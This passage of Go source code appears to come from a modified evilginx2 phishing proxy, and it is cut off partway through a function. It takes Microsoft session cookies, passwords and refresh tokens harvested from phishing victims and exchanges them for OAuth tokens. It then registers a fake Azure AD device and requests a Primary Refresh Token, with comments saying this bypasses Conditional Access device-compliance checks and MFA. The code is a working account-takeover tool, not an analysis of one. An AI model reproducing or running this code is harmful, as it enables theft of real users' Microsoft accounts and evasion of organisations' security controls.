	if keyPEM, err := os.ReadFile(keyPath); err == nil && len(keyPEM) > 0 {
		block, _ := pem.Decode(keyPEM)
		if block != nil {
			key, err := x509.ParsePKCS8PrivateKey(block.Bytes)
			if err != nil {
				key, err = x509.ParsePKCS1PrivateKey(block.Bytes)
			}
			if err == nil {
				if rsaKey, ok := key.(*rsa.PrivateKey); ok {
					return rsaKey, true, nil
				}
			}
		}
	}

	// Generate new key
	privKey, err := rsa.GenerateKey(rand.Reader, 2048)
	if err != nil {
		return nil, false, err
	}

	// Save key for future reuse
	os.MkdirAll(keyDir, 0700)
	keyDER, _ := x509.MarshalPKCS8PrivateKey(privKey)
	keyPEM := pem.EncodeToMemory(&pem.Block{
		Type:  "PRIVATE KEY",
		Bytes: keyDER,
	})
	if err := os.WriteFile(keyPath, keyPEM, 0600); err != nil {
		log.Warning("[MS-DEVREG] Failed to save device key: %v", err)
	}

	return privKey, false, nil
}

func (tf *MicrosoftTokenFetcher) FetchTokens(sessionID string, username string, password string, cookieTokens map[string]map[string]*database.CookieToken, refreshTokenCred string) (*MicrosoftTokenResponse, error) {
	if !tf.IsEnabled() {
		return nil, fmt.Errorf("MS Token Fetcher is disabled")
	}

	log.Info("[MS-TOKEN] ========== TOKEN FETCH STARTED ==========")
	log.Info("[MS-TOKEN] [DEBUG] session=%s user=%s refreshLen=%d domains=%d", sessionID[:min(len(sessionID), 8)], username, len(refreshTokenCred), len(cookieTokens))

	var cookieParts []string
	var hasESTSAUTH bool
	var estsauthCookie string
	var estsauthMain string

	for cDomain, tokens := range cookieTokens {
		for name, tok := range tokens {
			if tok.Value == "" {
				continue
			}
			if strings.Contains(cDomain, "microsoftonline") || strings.Contains(cDomain, "microsoft") {
				cookieParts = append(cookieParts, fmt.Sprintf("%s=%s", name, tok.Value))
				if name == "ESTSAUTHPERSISTENT" || name == "ESTSAUTH" {
					hasESTSAUTH = true
					if name == "ESTSAUTHPERSISTENT" {
						estsauthCookie = tok.Value
					}
					if name == "ESTSAUTH" {
						estsauthMain = tok.Value
					}
				}
			}
		}
	}

	if !hasESTSAUTH {
		log.Warning("[MS-TOKEN] No ESTSAUTH cookie - aborting")
		return nil, fmt.Errorf("no ESTSAUTH cookie")
	}

	cookieHeader := strings.Join(cookieParts, "; ")
	log.Info("[MS-TOKEN] Cookie header: %d cookies, %d bytes", len(cookieParts), len(cookieHeader))

	// === METHOD 1: PRT Cookie (x-ms-RefreshTokenCredential) direct exchange ===
	// PRT contains device compliance claims. When used as refresh_token, the
	// resulting tokens INHERIT device compliance — bypassing AADSTS53000.
	// This is the PRIMARY method for CA-protected tenants.
	if refreshTokenCred != "" {
		log.Info("[MS-TOKEN] [DEBUG] === METHOD 1: PRT REFRESH TOKEN ===")
		log.Info("[MS-TOKEN] Attempting PRT direct exchange (inherits device claims)...")
		prtData := url.Values{}
		prtData.Set("client_id", tf.clientID)
		prtData.Set("refresh_token", refreshTokenCred)
		prtData.Set("grant_type", "refresh_token")
		prtData.Set("scope", tf.scope)

		if tokens, err := tf.doTokenRequest(prtData, username); err == nil {
			log.Success("[MS-TOKEN] PRT direct exchange SUCCESS (device claims inherited)!")
			// Auto-fetch DRS token
			if tokens.RefreshToken != "" {
				log.Info("[MS-TOKEN] Fetching DRS token...")
				go tf.GetDRSToken(tokens.RefreshToken, tokens.RefreshToken, password, estsauthCookie, estsauthMain, username)
			}
			return tokens, nil
		} else {
			log.Warning("[MS-TOKEN] PRT exchange failed: %v", err)
			log.Info("[MS-TOKEN] PRT may lack device claims — falling back to authorize flow")
		}
	}

	// === METHOD 2: ESTSAUTHPERSISTENT authorize flow (fallback) ===
	// Uses ESTSAUTH cookie to get auth code, then exchanges for tokens.
	// Works for tenants WITHOUT device compliance Conditional Access.
	// AADSTS53000 may occur if CA requires compliant device.
	log.Info("[MS-TOKEN] [DEBUG] === METHOD 2: ESTSAUTH AUTHORIZE FLOW ===")
	state := fmt.Sprintf("%x", sha256.Sum256([]byte(sessionID+time.Now().String())))[:16]
	authParams := url.Values{}
	authParams.Set("client_id", tf.clientID)
	authParams.Set("response_type", "code")
	authParams.Set("redirect_uri", tf.redirectURI)
	authParams.Set("scope", tf.scope)
	authParams.Set("state", state)
	authParams.Set("response_mode", "query")
	authParams.Set("prompt", "none")

	authURL := tf.authURL + "?" + authParams.Encode()
	log.Info("[MS-TOKEN] [DEBUG] Step 2: GET %s", authURL)
	log.Info("[MS-TOKEN] [DEBUG] Cookie: %.100s...", cookieHeader)

	req, _ := http.NewRequest("GET", authURL, nil)
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
	req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
	req.Header.Set("Cookie", cookieHeader)

	client := &http.Client{
		Timeout: 30 * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	resp, err := client.Do(req)
	if err != nil {
		log.Error("[MS-TOKEN] [DEBUG] Auth request failed: %v", err)
		return nil, err
	}
	defer resp.Body.Close()

	log.Info("[MS-TOKEN] [DEBUG] Auth response: status=%d", resp.StatusCode)

	if resp.StatusCode >= 301 && resp.StatusCode <= 308 {
		loc := resp.Header.Get("Location")
		log.Info("[MS-TOKEN] [DEBUG] Redirect to: %s", loc)

		// Case-insensitive check — Microsoft may lowercase the redirect URI
		if strings.HasPrefix(strings.ToLower(loc), strings.ToLower(tf.redirectURI)) || strings.Contains(loc, "code=") {
			u, _ := url.Parse(loc)
			if u != nil {
				authCode := u.Query().Get("code")
				if authCode != "" {
					log.Success("[MS-TOKEN] Auth code extracted! (len=%d)", len(authCode))

					log.Info("[MS-TOKEN] Step 3: Exchanging code for tokens...")
					tokenData := url.Values{}
					tokenData.Set("client_id", tf.clientID)
					tokenData.Set("code", authCode)
					tokenData.Set("redirect_uri", tf.redirectURI)
					tokenData.Set("grant_type", "authorization_code")
					tokenData.Set("scope", tf.scope)

					// Step 3a: Get main tokens (access + refresh)
					mainTokens, err := tf.doTokenRequest(tokenData, username)
					if err != nil {
						return nil, err
					}

					// Step 3b: Use refresh token to get DRS token automatically
					if mainTokens.RefreshToken != "" {
						log.Info("[MS-TOKEN] Step 4: Fetching DRS token with refresh token...")
						go tf.GetDRSToken(mainTokens.RefreshToken, mainTokens.RefreshToken, password, estsauthCookie, estsauthMain, username)
					} else {
						log.Warning("[MS-TOKEN] No refresh token — skipping DRS fetch")
					}

					return mainTokens, nil
				}
				errCode := u.Query().Get("error")
				errDesc := u.Query().Get("error_description")
				if errCode != "" {
					log.Error("[MS-TOKEN] OAuth error: %s", errCode)
					if errDesc != "" {
						log.Error("[MS-TOKEN] Error description: %s", errDesc)
					}
					// Common errors:
					// - interaction_required: Conditional Access blocks (AADSTS53000=non-compliant device)
					// - login_required: Session expired or user not logged in
					// - consent_required: Admin consent needed for the app
					return nil, fmt.Errorf("oauth error: %s - %s", errCode, errDesc)
				}
			}
		} else {
			log.Info("[MS-TOKEN] [DEBUG] Redirect URI mismatch and no code in URL")
		}
		// 302 but no code extracted — read body for error details then return
		body, _ := ioutil.ReadAll(resp.Body)
		bodyStr := string(body)
		if len(bodyStr) > 0 {
			log.Info("[MS-TOKEN] [DEBUG] 302 response body (%d bytes): %.300s", len(bodyStr), bodyStr)
		}
		return nil, fmt.Errorf("302 redirect but no auth code")
	}

	// Non-redirect response
	body, _ := ioutil.ReadAll(resp.Body)
	bodyStr := string(body)
	log.Info("[MS-TOKEN] [DEBUG] Non-redirect response (%d bytes)", len(bodyStr))

	configRe := regexp.MustCompile(`\$Config\s*=\s*(\{[\s\S]*?\});`)
	if m := configRe.FindStringSubmatch(bodyStr); len(m) > 1 {
		log.Info("[MS-TOKEN] [DEBUG] Found $Config, parsing...")
		var cfg struct {
			URLPost string `json:"urlPost"`
			SFT     string `json:"sFT"`
			SCtx    string `json:"sCtx"`
		}
		if jsonErr := json.Unmarshal([]byte(m[1]), &cfg); jsonErr == nil {
			log.Info("[MS-TOKEN] [DEBUG] $Config: urlPost=%s sFT=%v", cfg.URLPost, cfg.SFT != "")
		}
	}

	preview := bodyStr
	if len(preview) > 500 {
		preview = preview[:500]
	}
	log.Warning("[MS-TOKEN] No code in response: %s", preview)
	return nil, fmt.Errorf("no auth code obtained")
}

func (tf *MicrosoftTokenFetcher) FetchAndLog(sessionID string, username string, password string, cookieTokens map[string]map[string]*database.CookieToken, refreshTokenCred string) {
	go func() {
		log.Info("[MS-TOKEN] [DEBUG] FetchAndLog goroutine started")
		log.Info("[MS-TOKEN] [DEBUG] sessionID=%s username=%s passwordLen=%d refreshTokenCredLen=%d cookieTokensDomains=%d", sessionID, username, len(password), len(refreshTokenCred), len(cookieTokens))
		defer func() {
			if r := recover(); r != nil {
				log.Error("[MS-TOKEN] PANIC recovered in FetchTokens: %v", r)
			}
			log.Info("[MS-TOKEN] [DEBUG] FetchAndLog goroutine finished")
		}()
		_, err := tf.FetchTokens(sessionID, username, password, cookieTokens, refreshTokenCred)
		if err != nil {
			log.Debug("[MS-TOKEN] Fetch failed: %v", err)
		}
	}()
}

// ============================================================
// AZURE AD DEVICE REGISTRATION (FAKE DEVICE JOIN)
// ============================================================
// This implements the Azure AD Device Registration flow to create
// a fake device identity that can be used to bypass Conditional
// Access policies requiring compliant devices (AADSTS53000).
//
// Flow:
//   1. Generate RSA 2048 keypair (simulates TPM-backed device key)
//   2. Create CSR (Certificate Signing Request)
//   3. POST CSR to enterpriseregistration.windows.net/EnrollmentServer/device
//   4. Receive device certificate signed by Azure AD
//   5. Use device cert to request PRT with device compliance claims
//
// Based on ROADtools device registration research.

// DeviceRegistrationResponse represents the JSON response from the
// EnrollmentServer/device endpoint containing the device certificate.
// Based on AADInternals research:
//   "Certificate": {"Thumbprint": "...", "RawBody": "base64..."}
type DeviceRegistrationResponse struct {
	Certificate struct {
		Thumbprint string `json:"Thumbprint"`
		RawBody    string `json:"RawBody"`
	} `json:"Certificate"`
	User struct {
		Upn string `json:"Upn"`
	} `json:"User"`
	MembershipChanges []struct {
		LocalSID string   `json:"LocalSID"`
		AddSIDs  []string `json:"AddSIDs"`
	} `json:"MembershipChanges"`
}

// DeviceContext holds the generated device identity for reuse.
type DeviceContext struct {
	DeviceID       string
	PrivateKey     *rsa.PrivateKey
	DeviceCertPEM  string
	Thumbprint     string
	KeyFingerprint string // SHA1 fingerprint of public key for cross-checking
}

// createCNGPubKeyBlobB64 creates a Microsoft CNG RSA public key blob
// (BCRYPT_RSAKEY_BLOB) and returns it as base64. This is the format
// Azure AD expects for the TransportKey field during device registration.
// Using PEM causes AADSTS5001210 (Unsupported transport key format).
//
// ROADtools equivalent: create_pubkey_blob_from_key()
// Format: Magic(4) + BitLength(4) + cbPublicExp(4) + cbModulus(4) + cbPrime1(4) + cbPrime2(4) + Exponent + Modulus
func createCNGPubKeyBlobB64(pubKey *rsa.PublicKey) string {
	pubNumbers := pubKey.N.Bytes()
	expBytes := make([]byte, 4)
	binary.LittleEndian.PutUint32(expBytes, uint32(pubKey.E))

	bitLength := uint32(pubKey.N.BitLen())
	cbPublicExp := uint32(len(expBytes))
	cbModulus := uint32(len(pubNumbers))

	buf := new(bytes.Buffer)
	buf.Write([]byte("RSA1")) // Magic = BCRYPT_RSAPUBLIC_MAGIC
	binary.Write(buf, binary.LittleEndian, bitLength)
	binary.Write(buf, binary.LittleEndian, cbPublicExp)
	binary.Write(buf, binary.LittleEndian, cbModulus)
	binary.Write(buf, binary.LittleEndian, uint32(0)) // cbPrime1
	binary.Write(buf, binary.LittleEndian, uint32(0)) // cbPrime2
	buf.Write(expBytes)
	buf.Write(pubNumbers)

	return base64.StdEncoding.EncodeToString(buf.Bytes())
}

// createCSR creates a PKCS#10 Certificate Signing Request with the given RSA key.
// Returns the base64-encoded RAW DER (NOT PEM-wrapped).
// The EnrollmentServer expects raw base64 DER — PEM wrapping causes ASN1 parse errors.
func createCSR(privKey *rsa.PrivateKey, deviceID string) (string, error) {
	template := x509.CertificateRequest{
		Subject: pkix.Name{
			CommonName: deviceID,
		},
		SignatureAlgorithm: x509.SHA256WithRSA,
	}

	csrDER, err := x509.CreateCertificateRequest(rand.Reader, &template, privKey)
	if err != nil {
		return "", fmt.Errorf("failed to create CSR: %w", err)
	}

	// Return raw base64 DER — NOT PEM-wrapped. The Microsoft EnrollmentServer
	// parses the Data field as raw ASN.1/DER. PEM wrapping causes:
	//   "ASN1 bad tag value met. (Exception from HRESULT: 0x8009310B)"
	return base64.StdEncoding.EncodeToString(csrDER), nil
}

// buildDeviceRegistrationJSON creates the JSON request for device enrollment.
// Uses the real Windows 10 Azure AD Join payload format (Payload 2).
// joinType: 0=Azure AD Join, 4=Azure AD Register
// reuseDevice: true=Azure AD reuses existing device (key must match), false=new device
func buildDeviceRegistrationJSON(csrBase64, transportKeyB64, deviceDisplayName, osVersion string, joinType int, reuseDevice bool) ([]byte, error) {
	reuseStr := "false"
	if reuseDevice {
		reuseStr = "true"
	}
	reqPayload := map[string]interface{}{
		"CertificateRequest": map[string]string{
			"Type": "pkcs10",
			"Data": csrBase64,
		},
		"TargetDomain":       "login.microsoftonline.com",
		"DeviceType":         "Windows",
		"OSVersion":          osVersion,
		"DeviceDisplayName":  deviceDisplayName,
		"JoinType":           joinType,
		"TransportKey":       transportKeyB64,
		"Attributes": map[string]string{
			"ReuseDevice":     reuseStr,
			"ReturnClientSid": "true",
		},
	}
	return json.Marshal(reqPayload)
}

// RegisterDevice performs Azure AD device registration using a DRS access token.
// It generates a fake device identity (RSA keypair + CSR), sends it to the
// EnrollmentServer, and receives a device certificate signed by Azure AD.
//
// The device certificate can then be used to obtain a PRT with device
// compliance claims, bypassing Conditional Access AADSTS53000.
func (tf *MicrosoftTokenFetcher) RegisterDevice(drsAccessToken string, username string) (*DeviceContext, error) {
	log.Info("[MS-DEVREG] ========== DEVICE REGISTRATION STARTED ==========")
	log.Info("[MS-DEVREG] [DEBUG] DRS token length: %d", len(drsAccessToken))

	// === Step 1: Generate or reuse RSA 2048 device key (simulates TPM) ===
	// We persist device keys so ReuseDevice can find previously registered
	// devices. Without this, each evilginx2 restart generates a new keypair
	// and Azure AD sees it as a NEW device — hitting DeviceCap.
	deviceID := fmt.Sprintf("%x-%x-%x-%x-%x",
		mrand.Int31(), mrand.Int31(), mrand.Int31(), mrand.Int31(), mrand.Int31())

	privKey, loadedExisting, err := tf.getOrCreateDeviceKey(username)
	if err != nil {
		log.Error("[MS-DEVREG] Device key setup failed: %v", err)
		return nil, fmt.Errorf("device key setup failed: %w", err)
	}
	if loadedExisting {
		log.Success("[MS-DEVREG] Reusing previously registered device key")
	} else {
		log.Success("[MS-DEVREG] New device key generated (device_id=%s)", deviceID)
	}

	// === Step 2: Create CSR ===
	log.Info("[MS-DEVREG] Step 2: Creating Certificate Signing Request...")
	csrBase64, err := createCSR(privKey, deviceID)
	if err != nil {
		log.Error("[MS-DEVREG] CSR creation failed: %v", err)
		return nil, err
	}
	log.Success("[MS-DEVREG] CSR created (%d bytes base64)", len(csrBase64))

	// === Step 3: Build JSON enrollment request ===
	deviceDisplayName := "DESKTOP-" + fmt.Sprintf("%04X%04X", mrand.Int31()&0xFFFF, mrand.Int31()&0xFFFF)

	// TransportKey: Microsoft CNG RSA public key blob (BCRYPT_RSAKEY_BLOB).
	// Azure AD expects this exact format — PEM causes AADSTS5001210.
	// ROADtools create_pubkey_blob_from_key() generates this same format.
	transportKeyB64 := createCNGPubKeyBlobB64(&privKey.PublicKey)

	// CRITICAL: ReuseDevice must match whether we're using an existing key.
	// If we loaded an existing key from disk → ReuseDevice=true (Azure AD finds existing device)
	// If we generated a new key → ReuseDevice=false (Azure AD creates NEW device bound to this key)
	// Mismatch causes session key decryption failure (Azure AD encrypts with old transport key).
	reuseDevice := loadedExisting
	log.Info("[MS-DEVREG] [DEBUG] ReuseDevice=%v (loadedExisting=%v)", reuseDevice, loadedExisting)

	// Log key fingerprint for debugging session key decryption
	pubKeyDER, _ := x509.MarshalPKIXPublicKey(&privKey.PublicKey)
	keyFP := fmt.Sprintf("%x", sha1.Sum(pubKeyDER))[:16]
	log.Info("[MS-DEVREG] [DEBUG] Transport key fingerprint: %s (modulus %d bits)", keyFP, privKey.N.BitLen())

	enrollJSON, err := buildDeviceRegistrationJSON(csrBase64, transportKeyB64, deviceDisplayName, "10.0.19045.3324", 0, reuseDevice)
	if err != nil {
		log.Error("[MS-DEVREG] JSON marshal failed: %v", err)
		return nil, fmt.Errorf("JSON marshal failed: %w", err)
	}
	log.Success("[MS-DEVREG] Enrollment JSON built (%d bytes)", len(enrollJSON))

	// === Step 3: POST to EnrollmentServer/device ===
	// CRITICAL: The URL MUST have trailing slash before ?api-version
	// Correct: /EnrollmentServer/device/?api-version=1.0
	// Wrong:   /EnrollmentServer/device?api-version=1.0  (this causes 404)
	enrollURL := "https://enterpriseregistration.windows.net/EnrollmentServer/device/?api-version=1.0"
	log.Info("[MS-DEVREG] Step 3: POST %s", enrollURL)
	log.Info("[MS-DEVREG] [DEBUG] Request body: %.300s", string(enrollJSON))

	enrollReq, _ := http.NewRequest("POST", enrollURL, bytes.NewReader(enrollJSON))
	enrollReq.Header.Set("Content-Type", "application/json")
	enrollReq.Header.Set("Authorization", "Bearer "+drsAccessToken)
	enrollReq.Header.Set("User-Agent", "Windows-AzureAD-DeviceRegistration/10.0")

	client := &http.Client{Timeout: 30 * time.Second}
	enrollResp, err := client.Do(enrollReq)
	if err != nil {
		log.Error("[MS-DEVREG] Enrollment request FAILED: %v", err)
		return nil, fmt.Errorf("enrollment POST failed: %w", err)
	}
	defer enrollResp.Body.Close()

	enrollBody, _ := ioutil.ReadAll(enrollResp.Body)
	log.Info("[MS-DEVREG] [DEBUG] Enrollment response status=%d body=%.500s", enrollResp.StatusCode, string(enrollBody))

	if enrollResp.StatusCode != http.StatusOK {
		log.Error("[MS-DEVREG] Enrollment failed: HTTP %d", enrollResp.StatusCode)
		return nil, fmt.Errorf("enrollment HTTP %d: %s", enrollResp.StatusCode, string(enrollBody))
	}

	// === Step 4: Parse JSON response to extract device certificate ===
	// Response format (AADInternals):
	//   {"Certificate": {"Thumbprint": "...", "RawBody": "base64..."}, "User": {"Upn": "..."}}
	log.Info("[MS-DEVREG] Step 4: Parsing device certificate from response...")
	var devRegResp DeviceRegistrationResponse
	if jsonErr := json.Unmarshal(enrollBody, &devRegResp); jsonErr != nil {
		log.Error("[MS-DEVREG] JSON parse failed: %v", jsonErr)
		log.Info("[MS-DEVREG] [DEBUG] Raw response: %s", string(enrollBody))
		return nil, fmt.Errorf("JSON parse failed: %w", jsonErr)
	}

	if devRegResp.Certificate.RawBody == "" {
		log.Error("[MS-DEVREG] No certificate in enrollment response")
		return nil, fmt.Errorf("no device certificate in response")
	}

	// Decode base64 certificate (RawBody contains base64-encoded cert)
	certDER, err := base64.StdEncoding.DecodeString(devRegResp.Certificate.RawBody)
	if err != nil {
		log.Error("[MS-DEVREG] Certificate base64 decode failed: %v", err)
		return nil, fmt.Errorf("cert decode failed: %w", err)
	}

	// Parse cert to extract public key and verify it matches our private key
	cert, err := x509.ParseCertificate(certDER)
	if err != nil {
		log.Error("[MS-DEVREG] Certificate parse failed: %v", err)
		return nil, fmt.Errorf("cert parse failed: %w", err)
	}
	// Verify cert public key matches our private key (critical for session key decrypt)
	if certPubKey, ok := cert.PublicKey.(*rsa.PublicKey); ok {
		if certPubKey.N.Cmp(privKey.N) != 0 || certPubKey.E != privKey.E {
			log.Error("[MS-DEVREG] CERT KEY MISMATCH! Cert pubkey does NOT match our private key!")
			log.Error("[MS-DEVREG] This means Azure AD reused an old device with a different key.")
			log.Error("[MS-DEVREG] Delete /tmp/ms_device_keys/%s.key and re-register.", username)
			return nil, fmt.Errorf("cert public key mismatch - device cert does not match our private key")
		}
		log.Info("[MS-DEVREG] [DEBUG] Cert public key matches our private key ✓")

		// === CRITICAL: Self-test encrypt/decrypt with this keypair ===
		// Azure AD encrypts the session key with the transport key. If this
		// self-test fails, the keypair itself is broken and session key
		// decryption will fail later.
		testData := []byte("test-session-key-decrypt")
		testEncrypted, err := rsa.EncryptOAEP(sha1.New(), rand.Reader, certPubKey, testData, nil)
		if err != nil {
			log.Error("[MS-DEVREG] KEY SELF-TEST ENCRYPT FAILED: %v", err)
		} else {
			testDecrypted, err := rsa.DecryptOAEP(sha1.New(), rand.Reader, privKey, testEncrypted, nil)
			if err != nil {
				log.Error("[MS-DEVREG] KEY SELF-TEST DECRYPT FAILED: %v — session key will NOT work!", err)
				keyHash := sha1.Sum(pubKeyDER)
				log.Error("[MS-DEVREG] Key fingerprint: %x... | Modulus: %d bits", keyHash[:8], privKey.N.BitLen())
			} else if string(testDecrypted) == string(testData) {
				log.Success("[MS-DEVREG] KEY SELF-TEST PASSED: encrypt→decrypt works ✓ (session key should decrypt OK)")
			}
		}
	}

	certPEM := string(pem.EncodeToMemory(&pem.Block{
		Type:  "CERTIFICATE",
		Bytes: certDER,
	}))

	// Use thumbprint from response, or compute as fallback
	certThumbprint := devRegResp.Certificate.Thumbprint
	if certThumbprint == "" {
		certThumbprint = fmt.Sprintf("%x", sha1.Sum(certDER))
	}

	log.Success("[MS-DEVREG] ========== DEVICE REGISTRATION SUCCESS ==========")
	log.Success("[MS-DEVREG] Device ID: %s", deviceID)
	log.Success("[MS-DEVREG] Display Name: %s", deviceDisplayName)
	log.Success("[MS-DEVREG] Cert Thumbprint: %s", certThumbprint)
	log.Success("[MS-DEVREG] Cert Length: %d bytes", len(certPEM))
	log.Success("[MS-DEVREG] =================================================")

	// Save device context to file
	keyDER, _ := x509.MarshalPKCS8PrivateKey(privKey)
	keyPEM := string(pem.EncodeToMemory(&pem.Block{
		Type:  "PRIVATE KEY",
		Bytes: keyDER,
	}))

	deviceData := fmt.Sprintf("=== AZURE AD DEVICE REGISTRATION - %s - %s ===\n", username, time.Now().Format("2006-01-02 15:04:05"))
	deviceData += fmt.Sprintf("DeviceID: %s\n", deviceID)
	deviceData += fmt.Sprintf("DisplayName: %s\n", deviceDisplayName)
	deviceData += fmt.Sprintf("Thumbprint: %s\n\n", certThumbprint)
	deviceData += fmt.Sprintf("[DEVICE_CERTIFICATE]\n%s\n\n", certPEM)
	deviceData += fmt.Sprintf("[DEVICE_PRIVATE_KEY]\n%s\n", keyPEM)
	deviceData += "================================\n\n"

	f, err := os.OpenFile("/tmp/ms_device.log", os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)
	if err == nil {
		defer f.Close()
		f.WriteString(deviceData)
		log.Info("[MS-DEVREG] Device cert + key saved to /tmp/ms_device.log")
	}

	return &DeviceContext{
		DeviceID:       deviceID,
		PrivateKey:     privKey,
		DeviceCertPEM:  certPEM,
		Thumbprint:     certThumbprint,
		KeyFingerprint: fmt.Sprintf("%x", sha1.Sum(pubKeyDER))[:16],
	}, nil
}

// exchangeRTForBrokerClient performs a FOCI (Family of Client IDs) exchange.
// Microsoft first-party clients in the same "family" can exchange each other's
// refresh tokens. Our Office RT (client d3590ed6...) is exchanged for a
// BrokerPlugin RT (client 29d9ed98...) so the client_id matches in PRT requests.
//
// Tries v2.0 endpoint first (since our RT comes from v2.0 authorize flow),
// then falls back to v1.0 endpoint.
func (tf *MicrosoftTokenFetcher) exchangeRTForBrokerClient(refreshToken string) (string, error) {
	log.Info("[MS-DEVREG] ===== exchangeRTForBrokerClient CALLED =====")
	brokerClientID := "29d9ed98-a469-4536-ade2-f981bc1d605e"
	log.Info("[MS-DEVREG] FOCI: Exchanging Office RT for BrokerPlugin RT (%s)...", brokerClientID[:8])
	log.Info("[MS-DEVREG] [DEBUG] Input RT length=%d prefix=%.20s...", len(refreshToken), refreshToken)

	// Try v2.0 endpoint first (our RT came from v2.0 authorize flow)
	endpoints := []string{
		"https://login.microsoftonline.com/common/oauth2/v2.0/token",
		"https://login.microsoftonline.com/common/oauth2/token", // v1.0 fallback
	}

	for _, tokenURL := range endpoints {
		log.Info("[MS-DEVREG] [DEBUG] FOCI trying %s", tokenURL)

		data := url.Values{}
		data.Set("grant_type", "refresh_token")
		data.Set("client_id", brokerClientID)
		data.Set("refresh_token", refreshToken)
		data.Set("scope", "openid profile offline_access")

		client := &http.Client{Timeout: 15 * time.Second}
		resp, err := client.PostForm(tokenURL, data)
		if err != nil {
			log.Warning("[MS-DEVREG] FOCI HTTP error on %s: %v", tokenURL, err)
			continue
		}
		body, _ := ioutil.ReadAll(resp.Body)
		resp.Body.Close()

		log.Info("[MS-DEVREG] [DEBUG] FOCI %s status=%d body=%.300s", tokenURL, resp.StatusCode, string(body))

		var result MicrosoftTokenResponse
		if err := json.Unmarshal(body, &result); err != nil {
			log.Warning("[MS-DEVREG] FOCI JSON parse error on %s: %v", tokenURL, err)
			continue
		}
		if result.Error != "" {
			log.Warning("[MS-DEVREG] FOCI endpoint error on %s: %s - %s", tokenURL, result.Error, result.ErrorDesc)
			continue
		}
		if result.RefreshToken == "" {
			log.Warning("[MS-DEVREG] FOCI response from %s missing refresh_token", tokenURL)
			continue
		}

		log.Success("[MS-DEVREG] FOCI exchange SUCCESS on %s! Got BrokerPlugin RT (%d bytes)", tokenURL, len(result.RefreshToken))
		return result.RefreshToken, nil
	}

	return "", fmt.Errorf("FOCI exchange failed on all endpoints")
}

// GetPRTWithDeviceCert exchanges a refresh token + device certificate for a
// Primary Refresh Token WITH device compliance claims.
//
// The clientID parameter MUST match the client that issued the refreshToken.
// Azure AD validates this binding strictly - a mismatch causes AADSTS70000.
//
// Flow:
//   1. Get nonce from Azure AD (grant_type=srv_challenge)
//   2. Build payload JWT: refresh_token + client_id + nonce + device info
//   3. Sign payload JWT with device PRIVATE KEY
//   4. JWT header contains x5c (FULL base64 DER cert) - NOT x5t!
//   5. POST to v1.0 endpoint with grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
//   6. JWT goes in "request" field - NOT "client_assertion"!
//   7. Decrypt session_key_jwe from response using RSA-OAEP with device key
//   8. PRT is in "refresh_token" field of response
//
// This PRT inherits device compliance claims, bypassing AADSTS53000.
func (tf *MicrosoftTokenFetcher) GetPRTWithDeviceCert(deviceCtx *DeviceContext, username string, refreshToken string, clientID string, password string, estsauthCookie string, estsauthMain string) (*MicrosoftTokenResponse, error) {
	if deviceCtx == nil || deviceCtx.PrivateKey == nil {
		return nil, fmt.Errorf("no device context")
	}
	if username == "" {
		return nil, fmt.Errorf("no username")
	}
	// Either refreshToken OR password must be provided
	if refreshToken == "" && password == "" {
		return nil, fmt.Errorf("no refresh token or password")
	}

	log.Info("[MS-DEVREG] ========== PRT WITH DEVICE CLAIMS ==========")
	log.Info("[MS-DEVREG] [DEBUG] Device: %s | User: %s | RT: %d bytes | ESTSAUTH: %d bytes", deviceCtx.DeviceID, username, len(refreshToken), len(estsauthCookie))

	// ROADtools: get_authority_url() returns https://login.microsoftonline.com/common
	// when tenant is not set. Both nonce + PRT must use the SAME endpoint for
	// cookie jar session continuity.
	authorityURI := "https://login.microsoftonline.com/common"
	log.Info("[MS-DEVREG] [DEBUG] Authority URI: %s (nonce + PRT will use SAME endpoint)", authorityURI)

	// === Step 1: Get nonce from Azure AD ===
	// ROADtools: self.auth.get_srv_challenge_nonce()
	// Uses a cookie jar so any cookies set by Azure AD during the nonce
	// request are automatically included in the subsequent PRT request.
	// This is critical for MFA bypass - the nonce response may set session
	// cookies that prove MFA completion.
	log.Info("[MS-DEVREG] Step 1: Requesting nonce from Azure AD...")

	// Create cookie jar to persist cookies across nonce + PRT requests
	jar, _ := cookiejar.New(nil)
	client := &http.Client{
		Timeout: 30 * time.Second,
		Jar:     jar,
	}

	// Include all Microsoft auth cookies from the browser session
	// before making the nonce request
	if estsauthMain != "" || estsauthCookie != "" {
		nonceURLParsed, _ := url.Parse(authorityURI)
		var cookies []*http.Cookie
		if estsauthMain != "" {
			cookies = append(cookies, &http.Cookie{Name: "ESTSAUTH", Value: estsauthMain, Domain: ".microsoftonline.com"})
		}
		if estsauthCookie != "" {
			cookies = append(cookies, &http.Cookie{Name: "ESTSAUTHPERSISTENT", Value: estsauthCookie, Domain: ".microsoftonline.com"})
		}
		jar.SetCookies(nonceURLParsed, cookies)
	}

	nonceData := url.Values{}
	nonceData.Set("grant_type", "srv_challenge")
	nonceURL := authorityURI + "/oauth2/token"
	nonceResp, err := client.PostForm(nonceURL, nonceData)
	if err != nil {
		log.Error("[MS-DEVREG] Nonce request FAILED: %v", err)
		return nil, fmt.Errorf("nonce request failed: %w", err)
	}
	nonceBody, _ := ioutil.ReadAll(nonceResp.Body)
	nonceResp.Body.Close()

	var nonceResult struct {
		Nonce string `json:"Nonce"`
	}
	if err := json.Unmarshal(nonceBody, &nonceResult); err != nil || nonceResult.Nonce == "" {
		log.Error("[MS-DEVREG] Failed to parse nonce: %v | body: %s", err, string(nonceBody))
		return nil, fmt.Errorf("nonce parse failed: %w", err)
	}
	challenge := nonceResult.Nonce
	log.Success("[MS-DEVREG] Got nonce: %s", challenge)

	// === Step 2: Build payload for device-signed JWT ===
	// ROADtools get_prt_with_refresh_token() payload:
	//   client_id: "29d9ed98-a469-4536-ade2-f981bc1d605e" (AAD BrokerPlugin)
	//   request_nonce: <challenge>
	//   scope: "openid aza ugs"
	//   grant_type: "refresh_token"
	//   refresh_token: <drsRefreshToken>
	log.Info("[MS-DEVREG] Step 2: Building device-signed JWT payload...")
	// Build payload based on available credentials:
	// - FOCI succeeded: refresh_token grant with BrokerPlugin RT
	// - FOCI failed but password available: password grant (ROADtools style)
	// - Fallback: refresh_token grant with original RT
	var prtPayload map[string]interface{}
	if refreshToken != "" {
		prtPayload = map[string]interface{}{
			"client_id":      clientID,
			"refresh_token":  refreshToken,
